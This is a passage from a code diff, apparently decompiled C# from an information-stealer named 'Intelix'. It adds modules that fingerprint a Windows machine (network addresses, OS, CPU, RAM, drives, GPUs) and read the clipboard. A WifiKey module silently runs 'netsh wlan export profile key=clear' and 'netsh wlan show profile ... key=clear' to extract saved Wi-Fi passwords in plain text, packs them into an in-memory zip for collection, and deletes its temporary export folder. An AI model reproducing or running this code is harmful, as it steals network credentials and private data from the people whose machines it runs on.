stringBuilder.AppendLine("Internal IP: " + text);
|
||||
stringBuilder.AppendLine("Default Gateway: " + text2);
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildSystemSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[System]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("OS Product: " + WindowsInfo.GetProductName());
|
||||
stringBuilder.AppendLine("OS Build: " + WindowsInfo.GetBuildNumber());
|
||||
stringBuilder.AppendLine("OS Arch: " + WindowsInfo.GetArchitecture());
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("OS: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
|
||||
string text = (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown";
|
||||
stringBuilder.AppendLine("CPU Name: " + text);
|
||||
stringBuilder.AppendLine($"Logical Cores: {Environment.ProcessorCount}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("CPU: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
NativeMethods.MEMORYSTATUSEX lpBuffer = new NativeMethods.MEMORYSTATUSEX
|
||||
{
|
||||
dwLength = (uint)Marshal.SizeOf(typeof(NativeMethods.MEMORYSTATUSEX))
|
||||
};
|
||||
if (NativeMethods.GlobalMemoryStatusEx(ref lpBuffer))
|
||||
{
|
||||
ulong num = lpBuffer.ullTotalPhys / 1024 / 1024;
|
||||
ulong num2 = lpBuffer.ullAvailPhys / 1024 / 1024;
|
||||
stringBuilder.AppendLine($"RAM Total (MB): {num}");
|
||||
stringBuilder.AppendLine($"RAM Available (MB): {num2}");
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("RAM: unavailable");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("RAM: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildDrivesSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Drives]");
|
||||
try
|
||||
{
|
||||
List<string> list = (from d in DriveInfo.GetDrives()
|
||||
where d.IsReady
|
||||
select d).Select(delegate(DriveInfo d)
|
||||
{
|
||||
long num = d.TotalSize / 1024 / 1024 / 1024;
|
||||
long num2 = d.TotalFreeSpace / 1024 / 1024 / 1024;
|
||||
return $"{d.Name.TrimEnd('\\')} {d.DriveType} FS:{d.DriveFormat} Size:{num}GB Free:{num2}GB";
|
||||
}).ToList();
|
||||
if (list.Any())
|
||||
{
|
||||
foreach (string item in list)
|
||||
{
|
||||
stringBuilder.AppendLine(item);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("No ready drives");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("Drives: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildGpuSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[GPU]");
|
||||
try
|
||||
{
|
||||
List<string> gpuNames = GetGpuNames();
|
||||
if (gpuNames.Any())
|
||||
{
|
||||
foreach (string item in gpuNames)
|
||||
{
|
||||
stringBuilder.AppendLine(item);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
stringBuilder.AppendLine("None");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("GPUs: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string BuildBasicSection()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("[Basic]");
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine("User Domain: " + Environment.UserDomainName);
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("User Domain: unavailable");
|
||||
}
|
||||
try
|
||||
{
|
||||
stringBuilder.AppendLine($"CLR Version: {Environment.Version}");
|
||||
}
|
||||
catch
|
||||
{
|
||||
stringBuilder.AppendLine("CLR Version: unavailable");
|
||||
}
|
||||
return stringBuilder.ToString().TrimEnd();
|
||||
}
|
||||
|
||||
private static string GetClipboardTextNoTimeout()
|
||||
{
|
||||
string result = string.Empty;
|
||||
try
|
||||
{
|
||||
Thread thread = new Thread((ThreadStart)delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Clipboard.ContainsText())
|
||||
{
|
||||
result = Clipboard.GetText();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.IsBackground = true;
|
||||
thread.Start();
|
||||
thread.Join();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return result ?? string.Empty;
|
||||
}
|
||||
|
||||
private static List<string> GetGpuNames()
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
try
|
||||
{
|
||||
uint num = 0u;
|
||||
NativeMethods.DISPLAY_DEVICE lpDisplayDevice = default(NativeMethods.DISPLAY_DEVICE);
|
||||
lpDisplayDevice.cb = Marshal.SizeOf(lpDisplayDevice);
|
||||
while (NativeMethods.EnumDisplayDevices(null, num, ref lpDisplayDevice, 0u))
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(lpDisplayDevice.DeviceString))
|
||||
{
|
||||
list.Add(lpDisplayDevice.DeviceString.Trim());
|
||||
}
|
||||
num++;
|
||||
lpDisplayDevice = new NativeMethods.DISPLAY_DEVICE
|
||||
{
|
||||
cb = Marshal.SizeOf(typeof(NativeMethods.DISPLAY_DEVICE))
|
||||
};
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return list.Distinct().ToList();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,262 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using System.Xml.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Device;
|
||||
|
||||
public class WifiKey : ITarget
|
||||
{
|
||||
private class WifiInfo
|
||||
{
|
||||
public string Profile;
|
||||
|
||||
public string Key;
|
||||
|
||||
public string Authentication;
|
||||
|
||||
public string Cipher;
|
||||
}
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
WifiInfo[] array = TryExportAndParseProfiles() ?? FallbackParseProfiles();
|
||||
if (array != null && array.Length != 0)
|
||||
{
|
||||
int num = Math.Max("Profile".Length, MaxLength(array, (WifiInfo r) => r.Profile));
|
||||
int num2 = Math.Max("Key".Length, MaxLength(array, (WifiInfo r) => r.Key));
|
||||
int num3 = Math.Max("Authentication".Length, MaxLength(array, (WifiInfo r) => r.Authentication));
|
||||
int num4 = Math.Max("Cipher".Length, MaxLength(array, (WifiInfo r) => r.Cipher));
|
||||
List<string> list = new List<string>();
|
||||
list.Add("Profile".PadRight(num) + " | " + "Key".PadRight(num2) + " | " + "Authentication".PadRight(num3) + " | " + "Cipher".PadRight(num4));
|
||||
list.Add(new string('-', num + num2 + num3 + num4 + 9));
|
||||
List<string> list2 = list;
|
||||
WifiInfo[] array2 = array;
|
||||
foreach (WifiInfo wifiInfo in array2)
|
||||
{
|
||||
string text = (string.IsNullOrEmpty(wifiInfo.Profile) ? "N/A" : wifiInfo.Profile);
|
||||
string text2 = (string.IsNullOrEmpty(wifiInfo.Key) ? "Not found" : wifiInfo.Key);
|
||||
string text3 = (string.IsNullOrEmpty(wifiInfo.Authentication) ? "Not found" : wifiInfo.Authentication);
|
||||
string text4 = (string.IsNullOrEmpty(wifiInfo.Cipher) ? "Not found" : wifiInfo.Cipher);
|
||||
list2.Add(text.PadRight(num) + " | " + text2.PadRight(num2) + " | " + text3.PadRight(num3) + " | " + text4.PadRight(num4));
|
||||
}
|
||||
zip.AddTextFile("WifiKeys.txt", string.Join("\n", list2));
|
||||
}
|
||||
}
|
||||
|
||||
private int MaxLength(WifiInfo[] arr, Func<WifiInfo, string> selector)
|
||||
{
|
||||
if (arr == null || arr.Length == 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < arr.Length; i++)
|
||||
{
|
||||
string text = selector(arr[i]) ?? "";
|
||||
if (text.Length > num)
|
||||
{
|
||||
num = text.Length;
|
||||
}
|
||||
}
|
||||
return num;
|
||||
}
|
||||
|
||||
private WifiInfo[] TryExportAndParseProfiles()
|
||||
{
|
||||
string text = Path.Combine(Path.GetTempPath(), "IntelixWifiExport_" + Guid.NewGuid().ToString("N"));
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(text);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
using (Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan export profile key=clear folder=\"" + text + "\"",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = false,
|
||||
CreateNoWindow = true
|
||||
}
|
||||
})
|
||||
{
|
||||
process.Start();
|
||||
process.WaitForExit(5000);
|
||||
}
|
||||
string[] array = Directory.EnumerateFiles(text, "*.xml").ToArray();
|
||||
if (array.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
List<WifiInfo> list = new List<WifiInfo>(array.Length);
|
||||
string[] array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
try
|
||||
{
|
||||
XDocument xDocument = XDocument.Load(text2);
|
||||
string text3 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "name", StringComparison.OrdinalIgnoreCase) && e.Parent != null && string.Equals(e.Parent.Name.LocalName, "SSID", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
if (string.IsNullOrEmpty(text3))
|
||||
{
|
||||
text3 = Path.GetFileNameWithoutExtension(text2);
|
||||
}
|
||||
string text4 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "keyMaterial", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
string text5 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "authentication", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
string text6 = xDocument.Descendants().FirstOrDefault((XElement e) => string.Equals(e.Name.LocalName, "encryption", StringComparison.OrdinalIgnoreCase))?.Value;
|
||||
list.Add(new WifiInfo
|
||||
{
|
||||
Profile = (text3 ?? "N/A"),
|
||||
Key = (string.IsNullOrEmpty(text4) ? "Not found" : text4),
|
||||
Authentication = (string.IsNullOrEmpty(text5) ? "Not found" : text5),
|
||||
Cipher = (string.IsNullOrEmpty(text6) ? "Not found" : text6)
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Directory.Delete(text, recursive: true);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private WifiInfo[] FallbackParseProfiles()
|
||||
{
|
||||
string[] profiles = Profiles();
|
||||
if (profiles == null || profiles.Length == 0)
|
||||
{
|
||||
return new WifiInfo[0];
|
||||
}
|
||||
WifiInfo[] results = new WifiInfo[profiles.Length];
|
||||
Parallel.For(0, profiles.Length, delegate(int i)
|
||||
{
|
||||
string text = profiles[i];
|
||||
try
|
||||
{
|
||||
using Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan show profile name=\"" + text + "\" key=clear",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
CreateNoWindow = true,
|
||||
StandardOutputEncoding = Encoding.UTF8
|
||||
}
|
||||
};
|
||||
process.Start();
|
||||
string input = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
string match = GetMatch(input, "Key Content\\s*:\\s*(.+)");
|
||||
string match2 = GetMatch(input, "Authentication\\s*:\\s*(.+)");
|
||||
string match3 = GetMatch(input, "Cipher\\s*:\\s*(.+)");
|
||||
results[i] = new WifiInfo
|
||||
{
|
||||
Profile = text,
|
||||
Key = (string.IsNullOrEmpty(match) ? "Not found" : match),
|
||||
Authentication = (string.IsNullOrEmpty(match2) ? "Not found" : match2),
|
||||
Cipher = (string.IsNullOrEmpty(match3) ? "Not found" : match3)
|
||||
};
|
||||
}
|
||||
catch
|
||||
{
|
||||
results[i] = new WifiInfo
|
||||
{
|
||||
Profile = text,
|
||||
Key = "Error",
|
||||
Authentication = "Error",
|
||||
Cipher = "Error"
|
||||
};
|
||||
}
|
||||
});
|
||||
return results;
|
||||
}
|
||||
|
||||
private string[] Profiles()
|
||||
{
|
||||
string[] array2;
|
||||
try
|
||||
{
|
||||
using Process process = new Process
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "netsh",
|
||||
Arguments = "wlan show profiles",
|
||||
UseShellExecute = false,
|
||||
RedirectStandardOutput = true,
|
||||
CreateNoWindow = true,
|
||||
StandardOutputEncoding = Encoding.UTF8
|
||||
}
|
||||
};
|
||||
process.Start();
|
||||
string text = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
string[] array = text.Split(new char[2] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
List<string> list = new List<string>();
|
||||
array2 = array;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
int num = text2.LastIndexOf(':');
|
||||
if (num >= 0 && num + 1 < text2.Length)
|
||||
{
|
||||
string text3 = text2.Substring(num + 1).Trim();
|
||||
if (!string.IsNullOrEmpty(text3))
|
||||
{
|
||||
list.Add(text3);
|
||||
}
|
||||
}
|
||||
}
|
||||
array2 = list.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
array2 = new string[0];
|
||||
}
|
||||
return array2;
|
||||
}
|
||||
|
||||
private string GetMatch(string input, string pattern)
|
||||
{
|
||||
if (string.IsNullOrEmpty(input))
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
Match match = Regex.Match(input, pattern, RegexOptions.IgnoreCase | RegexOptions.Multiline);
|
||||
if (!match.Success)
|
||||
{
|
||||
return string.Empty;
|
||||
}
|
||||
return match.Groups[1].Value.Trim();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user